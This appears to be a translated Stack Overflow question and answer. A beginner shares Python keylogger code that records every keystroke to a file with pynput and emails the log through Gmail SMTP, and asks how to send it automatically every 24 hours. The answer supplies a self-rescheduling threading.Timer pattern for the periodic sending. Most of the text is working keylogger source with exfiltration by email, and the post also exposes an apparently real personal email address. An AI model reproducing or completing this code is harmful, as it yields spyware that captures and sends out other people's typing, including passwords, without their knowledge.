对于一个项目,我正在使用python键盘记录程序。我已经完成了密钥日志记录模块和电子邮件模块,该模块将日志文件发送回给我,但是在将它们合并在一起时遇到了麻烦。我希望键盘记录程序每24小时向我发送一封电子邮件,其中包括日志文件。我该怎么办?
我尝试使用一个简单的time.sleep()延迟,但是由于击键记录模块仅在我将其杀死为进程时才停止,因此它从未达到延迟,因为它可以说是“无限的”。
这是我当前的代码:
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
#Keylogging Module
def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
#Email module
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")
server.sendmail(email_user,email_send,text)
server.quit()
请非常简单地解释答案,因为我是绝对的初学者。
编辑:这是新代码,很不幸,该代码无法正常工作。
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading
def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
def sendlog():
threading.Timer(10.0, sendlog).start()
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")
server.sendmail(email_user,email_send,text)
server.quit()
sendlog()
编辑3:重新组织代码,可以正常工作,但是发送的日志不完整。
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
def sendlog():
threading.Timer(10.0, sendlog).start()
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"password")
server.sendmail(email_user,email_send,text)
server.quit()
sendlog()
#Keylogging Module
def on_press(key):
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
编辑4:使用代码形式“编辑3”时会出现此错误。
Traceback (most recent call last):
File "C:\Users\mikur\Desktop\keylogger testing.py", line 47, in <module>
Listener.join()
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 199, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\six.py", line 692, in reraise
raise value.with_traceback(tb)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 154, in inner
return f(self, *args, **kwargs)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\keyboard\_win32.py", line 237, in _process
self.on_press(key)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 75, in inner
if f(*args) is False:
File "C:\Users\mikur\Desktop\keylogger testing.py", line 42, in on_press
file.write(str(key))
ValueError: I/O operation on closed file.
答案 0 :(得分:2)
根据此答案:https://stackoverflow.com/a/3393759/1910863
您可以使用threading timer
。这是链接的答案中的代码片段:
import threading
def printit():
threading.Timer(5.0, printit).start()
print "Hello, World!"
printit()
您将在脚本开始时调用(或计划)您的方法,并且每次触发时它将重新计划自身。
如果您喜欢此答案,则应该对链接的答案进行投票,因为他是值得称赞的答案。